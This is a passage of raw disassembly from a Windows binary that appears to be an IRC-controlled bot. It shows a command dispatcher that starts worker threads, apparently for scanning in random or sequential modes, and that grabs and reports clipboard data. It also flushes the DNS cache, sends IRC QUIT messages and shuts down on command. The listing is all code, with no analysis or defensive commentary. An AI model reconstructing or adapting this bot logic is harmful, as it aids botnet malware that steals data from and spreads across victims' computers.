		lea	eax, [ebp+var_430]
		push	eax
		call	sub_416D40
		xor	eax, eax
		cmp	[ebp+var_9B3], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_430]
		push	eax
		call	sub_417040
		add	esp, 14h
		cmp	edi, ebx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_411AE2

loc_411AC0:				; CODE XREF: sub_40CE55+4C8Bj
		cmp	eax, ebx
		jz	short loc_411AE2
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_430]
		push	30h
		push	eax
		call	sub_417040
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_411AC0

loc_411AE2:				; CODE XREF: sub_40CE55+4C69j
					; sub_40CE55+4C6Dj
		mov	eax, [ebp+arg_4]
		push	[ebp+var_8C]
		mov	esi, [ebp+var_4]
		mov	[ebp+var_320], eax
		mov	eax, [ebp+var_8]
		mov	edi, 80h
		mov	[ebp+var_2F4], eax
		lea	eax, [ebp+var_420]
		push	edi
		push	eax
		mov	[ebp+var_2F0], 1
		mov	[ebp+var_2F8], esi
		call	sub_415A6A
		push	offset byte_438FBC
		push	offset dword_42C244
		call	sub_415910
		add	esp, 14h
		test	eax, eax
		jz	short loc_411B4C
		push	offset dword_42C244
		lea	eax, [ebp+var_3A0]
		push	edi
		push	eax
		call	sub_415A6A
		add	esp, 0Ch
		jmp	short loc_411B52
; ---------------------------------------------------------------------------

loc_411B4C:				; CODE XREF: sub_40CE55+4CDEj
		mov	[ebp+var_3A0], bl

loc_411B52:				; CODE XREF: sub_40CE55+4CF5j
		cmp	[ebp+var_2F0], ebx
		mov	eax, offset aRandom_0 ;	"Random"
		jnz	short loc_411B64
		mov	eax, offset aSequential	; "Sequential"

loc_411B64:				; CODE XREF: sub_40CE55+4D08j
		push	[ebp+var_304]
		lea	ecx, [ebp+var_430]
		push	[ebp+var_314]
		push	[ebp+var_318]
		push	[ebp+var_31C]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2C8]
		push	offset dword_433C10
		push	eax
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	8
		push	eax
		call	sub_414F93
		add	esp, 2Ch
		mov	[ebp+var_310], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_430]
		push	ebx
		push	eax
		push	offset sub_40799F
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_310]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43F53C[ecx], eax
		jz	short loc_411BEE

loc_411BDC:				; CODE XREF: sub_40CE55+4D97j
		cmp	[ebp+var_2EC], ebx
		jnz	short loc_411C09
		push	32h
		call	dword_421060	; Sleep
		jmp	short loc_411BDC
; ---------------------------------------------------------------------------

loc_411BEE:				; CODE XREF: sub_40CE55+4D85j
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_2C8]
		push	offset dword_434CBC
		push	eax
		call	sub_4154E7
		add	esp, 0Ch

loc_411C09:				; CODE XREF: sub_40CE55+4D8Dj
		cmp	[ebp+var_8], ebx
		jnz	short loc_411C28
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	esi
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412D4C
		add	esp, 14h

loc_411C28:				; CODE XREF: sub_40CE55+4DB7j
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_40B16D
		pop	ecx

loc_411C35:				; CODE XREF: sub_40CE55+4B79j
		add	[ebp+arg_18], 0Bh
		mov	eax, [ebp+arg_18]
		cmp	[eax], bl
		jnz	loc_411984
		jmp	loc_40D219
; ---------------------------------------------------------------------------

loc_411C49:				; CODE XREF: sub_40CE55+2FDCj
					; sub_40CE55+4BF1j
		push	offset dword_433BC4
		jmp	loc_41202C
; ---------------------------------------------------------------------------

loc_411C53:				; CODE XREF: sub_40CE55+17B0j
					; sub_40CE55+17C5j
		push	4
		call	sub_4151DB
		test	eax, eax
		pop	ecx
		jle	short loc_411C69
		push	offset unk_433B90
		jmp	loc_40EBA7
; ---------------------------------------------------------------------------

loc_411C69:				; CODE XREF: sub_40CE55+4E08j
		mov	eax, [ebp+esi+var_90]
		cmp	eax, ebx
		jz	short loc_411C8C
		push	eax
		mov	edi, 104h
		lea	eax, [ebp+var_804]
		push	edi
		push	eax
		call	sub_415A6A
		add	esp, 0Ch
		jmp	short loc_411CA0
; ---------------------------------------------------------------------------

loc_411C8C:				; CODE XREF: sub_40CE55+4E1Dj
		mov	edi, 104h
		lea	eax, [ebp+var_804]
		push	edi
		push	eax
		push	ebx
		call	dword_42107C	; GetModuleFileNameA

loc_411CA0:				; CODE XREF: sub_40CE55+4E35j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jnz	short loc_411CB0
		mov	esi, offset byte_42C1FC

loc_411CB0:				; CODE XREF: sub_40CE55+4E54j
		push	esi
		lea	eax, [ebp+var_700]
		push	edi
		push	eax
		call	sub_415A6A
		mov	eax, dword_42C188
		push	7Fh
		push	[ebp+var_8C]
		mov	[ebp+var_5F4], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_5F8], ebx
		mov	[ebp+var_808], eax
		lea	eax, [ebp+var_5F0]
		push	eax
		call	sub_416D40
		mov	eax, [ebp+var_4]
		mov	[ebp+var_570], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_700]
		push	eax
		lea	eax, [ebp+var_804]
		push	eax
		lea	eax, [ebp+var_2C8]
		push	[ebp+var_5F4]
		push	offset unk_4278F4
		push	eax
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	4
		push	eax
		call	sub_414F93
		add	esp, 38h
		mov	[ebp+var_5FC], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_808]
		push	ebx
		push	eax
		push	offset sub_406C3E
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_5FC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43F53C[ecx], eax
		jz	short loc_411D80

loc_411D6A:				; CODE XREF: sub_40CE55+4F29j
		cmp	[ebp+var_568], ebx
		jnz	loc_40ECC3
		push	32h
		call	dword_421060	; Sleep
		jmp	short loc_411D6A
; ---------------------------------------------------------------------------

loc_411D80:				; CODE XREF: sub_40CE55+4F13j
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_433B44
		jmp	loc_40ECB4
; ---------------------------------------------------------------------------

loc_411D91:				; CODE XREF: sub_40CE55+1786j
					; sub_40CE55+179Bj
		mov	edi, [ebp+esi+var_90]
		cmp	edi, ebx
		jz	short loc_411DB0
		push	edi
		call	sub_415A5F
		test	eax, eax
		pop	ecx
		jz	short loc_411DB0
		push	edi
		call	sub_415A5F
		pop	ecx
		jmp	short loc_411DB5
; ---------------------------------------------------------------------------

loc_411DB0:				; CODE XREF: sub_40CE55+4F45j
					; sub_40CE55+4F50j
		mov	eax, dword_42C18C

loc_411DB5:				; CODE XREF: sub_40CE55+4F59j
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_584], eax
		xor	eax, eax
		cmp	[ebp+var_9B0], bl
		setz	al
		cmp	esi, ebx
		mov	[ebp+var_570], eax
		jz	short loc_411DE8
		lea	eax, [ebp+var_688]
		push	esi
		push	eax
		call	sub_4154E7
		pop	ecx
		pop	ecx
		jmp	short loc_411E13
; ---------------------------------------------------------------------------

loc_411DE8:				; CODE XREF: sub_40CE55+4F80j
		lea	eax, [ebp+var_3E8]
		push	104h
		push	eax
		call	dword_421058	; GetSystemDirectoryA
		push	ebx
		push	ebx
		lea	eax, [ebp+var_2D4]
		push	ebx
		push	eax
		lea	eax, [ebp+var_3E8]
		push	eax
		call	sub_417348
		add	esp, 14h

loc_411E13:				; CODE XREF: sub_40CE55+4F91j
		lea	eax, [ebp+var_688]
		push	eax
		call	sub_415CF0
		cmp	[ebp+eax+var_689], 5Ch
		pop	ecx
		jnz	short loc_411E3E
		lea	eax, [ebp+var_688]
		push	eax
		call	sub_415CF0
		pop	ecx
		mov	[ebp+eax+var_689], bl

loc_411E3E:				; CODE XREF: sub_40CE55+4FD3j
		push	[ebp+var_8C]
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_910]
		mov	[ebp+var_914], esi
		push	80h
		push	eax
		call	sub_415A6A
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_574], eax
		lea	eax, [ebp+var_688]
		mov	[ebp+var_578], edi
		push	eax
		push	[ebp+var_584]
		push	esi
		call	sub_40A171
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C8]
		push	offset unk_4277C4
		push	eax
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	3
		push	eax
		call	sub_414F93
		add	esp, 20h
		mov	[ebp+var_57C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_914]
		push	ebx
		push	eax
		push	offset sub_405B23
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_57C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43F53C[ecx], eax
		jz	short loc_411EF2

loc_411EE0:				; CODE XREF: sub_40CE55+509Bj
		cmp	[ebp+var_568], ebx
		jnz	short loc_411F0D
		push	32h
		call	dword_421060	; Sleep
		jmp	short loc_411EE0
; ---------------------------------------------------------------------------

loc_411EF2:				; CODE XREF: sub_40CE55+5089j
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset unk_433AF8

loc_411EFE:				; CODE XREF: sub_40CE55+34F6j
					; sub_40CE55+35F0j
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_4154E7
		add	esp, 0Ch

loc_411F0D:				; CODE XREF: sub_40CE55+34DAj
					; sub_40CE55+35D4j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_41284E
		push	ebx
		push	edi

loc_411F18:				; CODE XREF: sub_40CE55+2DA0j
		lea	eax, [ebp+var_2C8]
		push	eax
		push	[ebp+var_8C]
		push	esi
		jmp	loc_40F7CE
; ---------------------------------------------------------------------------

loc_411F2B:				; CODE XREF: sub_40CE55+175Cj
					; sub_40CE55+1771j
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		jz	short loc_411F3E
		push	esi
		call	sub_415A5F
		jmp	short loc_411F45
; ---------------------------------------------------------------------------

loc_411F3E:				; CODE XREF: sub_40CE55+50DFj
		push	8
		call	sub_4151FA

loc_411F45:				; CODE XREF: sub_40CE55+50E7j
		cmp	eax, ebx
		pop	ecx
		jz	loc_41298E
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_4071FF

loc_411F60:				; CODE XREF: sub_40CE55+5597j
		add	esp, 10h
		jmp	loc_41298E
; ---------------------------------------------------------------------------

loc_411F68:				; CODE XREF: sub_40CE55+1732j
					; sub_40CE55+1747j
		mov	eax, dword_43A2C0
		cmp	eax, ebx
		jz	short loc_411F85
		call	eax	; DnsFlushResolverCache
		test	eax, eax
		jz	short loc_411F7E
		push	offset unk_433AC0
		jmp	short loc_411F9A
; ---------------------------------------------------------------------------

loc_411F7E:				; CODE XREF: sub_40CE55+5120j
		push	offset unk_433A80
		jmp	short loc_411F9A
; ---------------------------------------------------------------------------

loc_411F85:				; CODE XREF: sub_40CE55+511Aj
		push	offset unk_433A40
		jmp	short loc_411F9A
; ---------------------------------------------------------------------------

loc_411F8C:				; CODE XREF: sub_40CE55+1708j
					; sub_40CE55+171Dj
		call	sub_40A093
		test	eax, eax
		jz	short loc_411FB0
		push	offset unk_433A08

loc_411F9A:				; CODE XREF: sub_40CE55+5127j
					; sub_40CE55+512Ej ...
		lea	eax, [ebp+var_2C8]
		push	200h
		push	eax
		call	sub_415A6A
		jmp	loc_412875
; ---------------------------------------------------------------------------

loc_411FB0:				; CODE XREF: sub_40CE55+513Ej
		push	offset unk_4339C8
		jmp	short loc_411F9A
; ---------------------------------------------------------------------------

loc_411FB7:				; CODE XREF: sub_40CE55+16DEj
					; sub_40CE55+16F3j
		cmp	[ebp+var_8], ebx
		jnz	short loc_411FD6
		push	ebx
		push	[ebp+var_4]
		push	offset aClipboardData ;	"-[Clipboard Data]-"
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412D4C
		add	esp, 14h

loc_411FD6:				; CODE XREF: sub_40CE55+5165j
		push	ebx
		push	[ebp+var_4]
		call	sub_409C92
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412D4C
		push	offset dword_433984
		jmp	loc_4122BE
; ---------------------------------------------------------------------------

loc_411FF8:				; CODE XREF: sub_40CE55+15FEj
					; sub_40CE55+1613j
		push	7
		call	sub_4151DB
		test	eax, eax
		pop	ecx
		jle	short loc_41200B
		push	offset dword_433948
		jmp	short loc_41202C
; ---------------------------------------------------------------------------

loc_41200B:				; CODE XREF: sub_40CE55+51ADj
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40A7FD
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_412027
		push	offset dword_43390C
		jmp	short loc_41202C
; ---------------------------------------------------------------------------

loc_412027:				; CODE XREF: sub_40CE55+51C9j
		push	offset dword_4338D8

loc_41202C:				; CODE XREF: sub_40CE55+2B3Dj
					; sub_40CE55+2C6Dj ...
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_4154E7
		pop	ecx
		pop	ecx
		jmp	loc_40F7B1
; ---------------------------------------------------------------------------

loc_41203F:				; CODE XREF: sub_40CE55+15D4j
					; sub_40CE55+15E9j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40967F
		jmp	loc_40D216
; ---------------------------------------------------------------------------

loc_412058:				; CODE XREF: sub_40CE55+15AAj
					; sub_40CE55+15BFj
		push	[ebp+esi+var_90]
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40C515
		jmp	loc_40D216
; ---------------------------------------------------------------------------

loc_412075:				; CODE XREF: sub_40CE55+1580j
					; sub_40CE55+1595j
		or	edi, 0FFFFFFFFh
		call	dword_42104C	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_41209E
		push	esi
		call	sub_415A5F
		pop	ecx
		mov	edi, eax

loc_41209E:				; CODE XREF: sub_40CE55+523Ej
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		cmp	eax, edi
		jnb	short loc_4120B7
		cmp	edi, 0FFFFFFFFh
		jnz	loc_41298E

loc_4120B7:				; CODE XREF: sub_40CE55+5257j
		push	ebx
		call	sub_40A9B2
		push	eax
		lea	eax, [ebp+var_2C8]
		push	offset dword_4338AC
		push	eax
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412D4C
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_40B16D
		jmp	loc_410180
; ---------------------------------------------------------------------------

loc_4120F9:				; CODE XREF: sub_40CE55+1556j
					; sub_40CE55+156Bj
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_4085D3
		lea	eax, [ebp+var_2C8]
		push	offset unk_433878
		push	eax
		call	sub_4154E7
		add	esp, 14h
		jmp	loc_40ECC3
; ---------------------------------------------------------------------------

loc_412123:				; CODE XREF: sub_40CE55+152Cj
					; sub_40CE55+1541j
		push	1Eh
		call	sub_4151DB
		test	eax, eax
		pop	ecx
		jle	short loc_41214C
		cmp	[ebp+var_8], ebx
		jnz	loc_40D219
		push	ebx
		push	[ebp+var_4]
		push	offset dword_433844
		push	[ebp+var_8C]
		jmp	loc_40D777
; ---------------------------------------------------------------------------

loc_41214C:				; CODE XREF: sub_40CE55+52D8j
		push	[ebp+var_8C]
		lea	eax, [ebp+var_4DC]
		push	80h
		push	eax
		call	sub_415A6A
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_90]
		mov	[ebp+var_4E0], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_454], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_450], eax
		mov	[ebp+var_458], ebx
		jz	short loc_4121AD
		push	esi
		push	offset aFull	; "full"
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4121AD
		mov	[ebp+var_458], 1

loc_4121AD:				; CODE XREF: sub_40CE55+533Bj
					; sub_40CE55+534Cj
		lea	eax, [ebp+var_2C8]
		push	offset dword_433808
		push	eax
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	1Eh
		push	eax
		call	sub_414F93
		add	esp, 14h
		mov	[ebp+var_45C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4E0]
		push	ebx
		push	eax
		push	offset sub_413F83
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_45C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43F53C[ecx], eax
		jz	short loc_41221B

loc_412205:				; CODE XREF: sub_40CE55+53C4j
		cmp	[ebp+var_44C], ebx
		jnz	loc_41284E
		push	32h
		call	dword_421060	; Sleep
		jmp	short loc_412205
; ---------------------------------------------------------------------------

loc_41221B:				; CODE XREF: sub_40CE55+53AEj
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset dword_4337B8
		jmp	loc_41283F
; ---------------------------------------------------------------------------

loc_41222C:				; CODE XREF: sub_40CE55+1502j
					; sub_40CE55+1517j
		cmp	[ebp+var_8], ebx
		jnz	short loc_41224B
		push	ebx
		push	[ebp+var_4]
		push	offset dword_43378C
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412D4C
		add	esp, 14h

loc_41224B:				; CODE XREF: sub_40CE55+53DAj
		push	[ebp+arg_4]
		call	dword_43A430	; closesocket
		call	dword_43A2F8	; WSACleanup
		call	sub_409E15
		push	ebx
		call	dword_421114	; ExitProcess

loc_412266:				; CODE XREF: sub_40CE55+14D8j
					; sub_40CE55+14EDj
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	eax
		call	sub_40AAD1
		pop	ecx
		pop	ecx
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412D4C
		push	offset dword_433760
		jmp	short loc_4122BE
; ---------------------------------------------------------------------------

loc_412291:				; CODE XREF: sub_40CE55+14AEj
					; sub_40CE55+14C3j
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_40AD85
		add	esp, 0Ch
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412D4C
		push	offset dword_433734

loc_4122BE:				; CODE XREF: sub_40CE55+519Ej
					; sub_40CE55+543Aj
		call	sub_40B16D
		jmp	loc_410F32
; ---------------------------------------------------------------------------

loc_4122C8:				; CODE XREF: sub_40CE55+1484j
					; sub_40CE55+1499j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40B20D
		jmp	loc_40D216
; ---------------------------------------------------------------------------

loc_4122E1:				; CODE XREF: sub_40CE55+145Aj
					; sub_40CE55+146Fj
		cmp	[ebp+var_C], ebx
		mov	[ebp+var_374], bl
		jz	short loc_412320
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		jz	short loc_412320
		push	esi
		push	[ebp+var_C]
		call	sub_415AC0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_412320
		push	eax
		push	offset aS_1	; "%s"
		lea	eax, [ebp+var_374]
		push	80h
		push	eax
		call	sub_415A6A
		add	esp, 10h

loc_412320:				; CODE XREF: sub_40CE55+5495j
					; sub_40CE55+54A0j ...
		push	[ebp+var_8C]
		lea	eax, [ebp+var_3F4]
		push	80h
		push	eax
		call	sub_415A6A
		mov	eax, [ebp+arg_4]
		push	offset dword_433708
		mov	[ebp+var_3F8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_2F0], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2EC], eax
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	1Ch
		push	eax
		call	sub_414F93
		add	esp, 20h
		mov	[ebp+var_2F4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3F8]
		push	ebx
		push	eax
		push	offset sub_40B27F
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_2F4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43F53C[ecx], eax
		jz	short loc_4123C0

loc_4123AA:				; CODE XREF: sub_40CE55+5569j
		cmp	[ebp+var_2E8], ebx
		jnz	loc_40D219
		push	32h
		call	dword_421060	; Sleep
		jmp	short loc_4123AA
; ---------------------------------------------------------------------------

loc_4123C0:				; CODE XREF: sub_40CE55+5553j
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset dword_4336BC
		jmp	loc_40D402
; ---------------------------------------------------------------------------

loc_4123D1:				; CODE XREF: sub_40CE55+1430j
					; sub_40CE55+1445j
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40B0F5
		push	offset dword_433690
		call	sub_40B16D
		jmp	loc_411F60
; ---------------------------------------------------------------------------

loc_4123F1:				; CODE XREF: sub_40CE55+1406j
					; sub_40CE55+141Bj
		push	[ebp+var_8C]
		lea	eax, [ebp+var_4DC]
		push	80h
		push	eax
		call	sub_415A6A
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+esi+var_90]
		mov	[ebp+var_4E0], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_454], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_450], eax
		jz	short loc_41244B
		push	offset dword_43368C
		push	esi
		call	sub_415910
		neg	eax
		sbb	eax, eax
		pop	ecx
		inc	eax
		pop	ecx
		mov	[ebp+var_458], eax
		jmp	short loc_412451
; ---------------------------------------------------------------------------

loc_41244B:				; CODE XREF: sub_40CE55+55DAj
		mov	[ebp+var_458], ebx

loc_412451:				; CODE XREF: sub_40CE55+55F4j
		lea	eax, [ebp+var_2C8]
		push	offset dword_43365C
		push	eax
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	1Fh
		push	eax
		call	sub_414F93
		add	esp, 14h
		mov	[ebp+var_45C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4E0]
		push	ebx
		push	eax
		push	offset sub_414FFE
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_45C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43F53C[ecx], eax
		jz	short loc_4124BB

loc_4124A9:				; CODE XREF: sub_40CE55+5664j
		cmp	[ebp+var_44C], ebx
		jnz	short loc_4124D6
		push	32h
		call	dword_421060	; Sleep
		jmp	short loc_4124A9
; ---------------------------------------------------------------------------

loc_4124BB:				; CODE XREF: sub_40CE55+5652j
		call	dword_421088	; RtlGetLastWin32Error
		push	eax
		push	offset dword_433610

loc_4124C7:				; CODE XREF: sub_40CE55+4523j
					; sub_40CE55+463Cj
		lea	eax, [ebp+var_2C8]
		push	eax
		call	sub_4154E7
		add	esp, 0Ch

loc_4124D6:				; CODE XREF: sub_40CE55+28C1j
					; sub_40CE55+28E3j ...
		lea	eax, [ebp+var_2C8]
		push	eax
		jmp	loc_40E519
; ---------------------------------------------------------------------------

loc_4124E2:				; CODE XREF: sub_40CE55+138Aj
					; sub_40CE55+139Fj
		push	offset aIdspp	; "idspp"
		lea	eax, [ebp+var_2C8]
		push	offset dword_4335E4
		push	eax
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412D4C
		add	esp, 20h
		jmp	loc_40EFA7
; ---------------------------------------------------------------------------

loc_412519:				; CODE XREF: sub_40CE55+1360j
					; sub_40CE55+1375j
		push	dword_468818
		call	sub_40A9B2
		push	eax
		lea	eax, [ebp+var_2C8]
		push	offset dword_4335A4
		push	eax
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_412D4C
		add	esp, 24h
		jmp	loc_40EFA7
; ---------------------------------------------------------------------------

loc_412557:				; CODE XREF: sub_40CE55+1336j
					; sub_40CE55+134Bj
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		jz	short loc_412589
		cmp	[ebp+var_C], ebx
		jz	short loc_412598
		push	esi
		push	[ebp+var_C]
		call	sub_415AC0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_412598
		push	eax
		push	offset aQuitS	; "QUIT	:%s\r\n"
		push	[ebp+arg_4]
		call	sub_412D06
		add	esp, 0Ch
		jmp	short loc_412598
; ---------------------------------------------------------------------------

loc_412589:				; CODE XREF: sub_40CE55+570Bj
		push	offset aQuitLater ; "QUIT :later\r\n"
		push	[ebp+arg_4]
		call	sub_412D06
		pop	ecx
		pop	ecx

loc_412598:				; CODE XREF: sub_40CE55+5710j
					; sub_40CE55+571Fj ...
		push	0FFFFFFFEh
		jmp	loc_40D21B
; ---------------------------------------------------------------------------

loc_41259F:				; CODE XREF: sub_40CE55+130Cj
					; sub_40CE55+1321j
		push	offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_412D06
		push	offset dword_433550
		call	sub_40B16D
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		jmp	loc_40D21C
; ---------------------------------------------------------------------------

loc_4125C1:				; CODE XREF: sub_40CE55+12E2j
					; sub_40CE55+12F7j
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_412D06
		push	offset dword_43350C
		call	sub_40B16D
		add	esp, 0Ch
		xor	eax, eax
		jmp	loc_40D21C
; ---------------------------------------------------------------------------

loc_4125E2:				; CODE XREF: sub_40CE55+12B8j
					; sub_40CE55+12CDj
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_407135
		jmp	loc_410E9B
; ---------------------------------------------------------------------------

loc_4125F8:				; CODE XREF: sub_40CE55+1213j
					; sub_40CE55+1228j
		push	[ebp+esi+var_90]
		push	1Eh
		push	offset dword_4334FC
		push	offset dword_4334F0
		jmp	loc_40DEA8
; ---------------------------------------------------------------------------

loc_412610:				; CODE XREF: sub_40CE55+11E9j
					; sub_40CE55+11FEj
		push	[ebp+esi+var_90]
		push	1Bh
		push	offset dword_4334E4
		push	offset dword_4334D4
		jmp	loc_40DEA8
; ---------------------------------------------------------------------------

loc_412628:				; CODE XREF: sub_40CE55+1014j
					; sub_40CE55+1029j
		mov	edi, [ebp+esi+var_90]
		cmp	edi, ebx
		jz	short loc_412647
		push	edi
		call	sub_415A5F
		test	eax, eax
		pop	ecx
		jz	short loc_412647
		push	edi
		call	sub_415A5F
		pop	ecx
		jmp	short loc_41264C
; ---------------------------------------------------------------------------

loc_412647:				; CODE XREF: sub_40CE55+57DCj
					; sub_40CE55+57E7j
		mov	eax, dword_42C184

loc_41264C:				; CODE XREF: sub_40CE55+57F0j
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_464], eax
		cmp	esi, ebx
		jz	short loc_412671
		push	esi

loc_41265E:				; CODE XREF: sub_40CE55+582Bj
		lea	eax, [ebp+var_474]
		push	10h
		push	eax
		call	sub_415A6A
		add	esp, 0Ch
		jmp	short loc_412688
; ---------------------------------------------------------------------------

loc_412671:				; CODE XREF: sub_40CE55+5806j
		cmp	[ebp+var_9B3], bl
		jz	short loc_412682
		lea	eax, [ebp+var_C4]
		push	eax
		jmp	short loc_41265E
; ---------------------------------------------------------------------------

loc_412682:				; CODE XREF: sub_40CE55+5822j
		mov	[ebp+var_474], bl

loc_412688:				; CODE XREF: sub_40CE55+581Aj
		mov	eax, [ebp+var_4]
		push	[ebp+var_8C]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_458], eax
		mov	eax, [ebp+var_8]
		push	80h
		mov	[ebp+var_454], eax
		lea	eax, [ebp+var_4F4]
		push	eax
		mov	[ebp+var_4F8], esi
		call	sub_415A6A
		add	esp, 0Ch
		push	[ebp+var_464]
		push	esi
		call	sub_40A171
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C8]
		push	offset unk_427D5C
		push	eax
		call	sub_4154E7
		push	ebx
		lea	eax, [ebp+var_2C8]
		push	11h
		push	eax
		call	sub_414F93
		add	esp, 1Ch
		mov	[ebp+var_460], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4F8]
		push	ebx
		push	eax
		push	offset sub_40800A
		push	ebx
		push	ebx
		call	dword_42108C	; CreateThread
		mov	ecx, [ebp+var_460]
		imul	ecx, 234h
		cmp	eax, ebx
